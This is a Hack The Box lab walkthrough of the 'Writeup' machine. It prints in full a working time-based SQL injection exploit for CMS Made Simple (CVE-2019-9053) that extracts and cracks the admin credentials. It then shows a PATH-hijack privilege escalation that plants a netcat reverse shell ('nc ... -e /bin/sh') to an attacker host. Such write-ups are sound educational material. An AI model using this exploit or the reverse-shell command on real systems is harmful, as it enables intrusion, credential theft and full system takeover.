Hack The Box - Writeup Writeup

9 minute read

Hack The Box - Writeup

image1

Enumeration

Nmap

root@kali:~# nmap 10.10.10.138
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-26 10:39 IST
Nmap scan report for 10.10.10.138
Host is up (0.46s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 41.07 seconds

There is a web application running on port 80

image1

Wappalyzer

Wappalyzer is a add-on for firefox. It can be used for identifying the technologies used by a website.

image1

Wappalyzer shows that the webite is using CMS Made Simple

Hidden Directory

There is a directory name writable that I found by browsing around and the admin login was located at /writable/admin

image1

Vulnerability

Searchsploit

searchsploit returned lot of possible exploits.

root@kali:~# searchsploit made simple
--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
CMS Made Simple (CMSMS) Showtime2 - Fi | exploits/php/remote/46627.rb
CMS Made Simple 0.10 - 'Lang.php' Remo | exploits/php/webapps/26217.html
CMS Made Simple 0.10 - 'index.php' Cro | exploits/php/webapps/26298.txt
CMS Made Simple 1.0.2 - 'SearchInput'  | exploits/php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.ph | exploits/php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cro | exploits/php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vuln | exploits/php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Exec | exploits/php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - | exploits/php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManag | exploits/php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inc | exploits/php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Dis | exploits/php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inc | exploits/php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulne | exploits/php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Reque | exploits/php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lan | exploits/php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scrip | exploits/php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulne | exploits/php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Ex | exploits/php/webapps/44192.txt
CMS Made Simple 2.2.5 - (Authenticated | exploits/php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated | exploits/php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - W | exploits/php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injecti | exploits/php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1. | exploits/php/webapps/34300.py
CMS Made Simple Module Download Manage | exploits/php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 | exploits/php/webapps/46546.py
--------------------------------------- ----------------------------------------

Exploitation

Exploit

The exploit is a time base sql injection and it retrieves the salt, password ans username from the database. The script also contains a function to crack the password using a wordlist.

The url supplied should have /writable appended to it.

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" \
            + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" \
            + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" \
            + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()

I used the rockyou wordlist as the wordlist to crack the password

root@kali:~# python 46635.py -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt


[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

And we have the username and password

Usershell

root@kali:~# ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$ ls
user.txt
jkr@writeup:~$ cat user.txt 
d4e49*********************

And we have logged in

Privilege Escalation

Enumeration showed that there are some cron jobs that are run.

jkr@writeup:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && /bin/run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.monthly )

pspy

This is a github project that can be used to monitor the running processes. I downloaded it to my system and copied it to the target via wget. This is very useful for monitoring cronjobs or other processes that run in the background.

./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||
| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) 
| [] (non-recursive) Draining file system events due to startup...
done
2019/10/26 01:44:48 CMD: UID=0    PID=9      | 
2019/10/26 01:44:48 CMD: UID=0    PID=82     | 
2019/10/26 01:44:48 CMD: UID=0    PID=81     | 
2019/10/26 01:44:48 CMD: UID=0    PID=80     | 
2019/10/26 01:44:48 CMD: UID=0    PID=8      | 
---------output snipped-------------------------------------
2019/10/26 01:44:48 CMD: UID=0    PID=1      | init [2]   
2019/10/26 01:45:01 CMD: UID=0    PID=2196   | /usr/sbin/CRON 
2019/10/26 01:45:01 CMD: UID=0    PID=2197   | /usr/sbin/CRON 
2019/10/26 01:45:01 CMD: UID=0    PID=2198   | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 
2019/10/26 01:45:10 CMD: UID=0    PID=2199   | sshd: [accepted]
2019/10/26 01:45:10 CMD: UID=0    PID=2200   | sshd: [accepted]  
2019/10/26 01:45:16 CMD: UID=0    PID=2201   | sshd: jkr [priv]  
2019/10/26 01:45:16 CMD: UID=0 PID=2202   |sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 
run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2019/10/26 01:45:16 CMD: UID=0    PID=2203   | run-parts --lsbsysinit /etc/update-motd.d 
2019/10/26 01:45:16 CMD: UID=0    PID=2204   | /bin/sh /etc/update-motd.d/10-uname 

We can see a cronjob executing /bin/sh /etc/update-motd.d/10-uname as root. Lets take a look at this file

kr@writeup:/etc$ cd update-motd.d/
jkr@writeup:/etc/update-motd.d$ ls
10-uname
jkr@writeup:/etc/update-motd.d$ cat 10-uname 
#!/bin/sh
uname -rnsom
  1. So the program executes the command uname -rnsom
  2. The PATH variable used is PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

We can see that uname is executed without an absolute path and it depends on the PATH variable to find the uname file.

jkr@writeup:/usr/bin$ which uname
/bin/uname

uname is located at /bin/uname. So if we can write our own uname to a higher path in PATH variable, we can execute our version of uname

jkr@writeup:/usr/local$ ls -la | grep bin
drwx-wsr-x  2 root staff 20480 Oct 25 20:54 bin
drwx-wsr-x  2 root staff 12288 Oct 26 01:48 sbin

These directories are writable and they are at a higher position in PATH variable. So if we create a file named uname in this path, the system will execute its contents as root. So we can run any code we want as root.

Root shell

jkr@writeup:~$ cd /usr/local/bin
jkr@writeup:/usr/local/bin$ echo ‘nc 10.10.14.85 8081 -e /bin/sh’ > uname
jkr@writeup:/usr/local/bin$ chmod 777 uname

I created a file that will give a reverse netcat shell.

root@kali:~# nc -lvp 8081
listening on [any] 8081 ...
connect to [10.10.14.85] from ip-10-10-10-138.ap-south-1.compute.internal [10.10.10.138] 40924
/bin/sh: 0: cant access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
eeba47**********************

We have a root shell. Pwned!

Solved

Tags:

Categories:

Updated: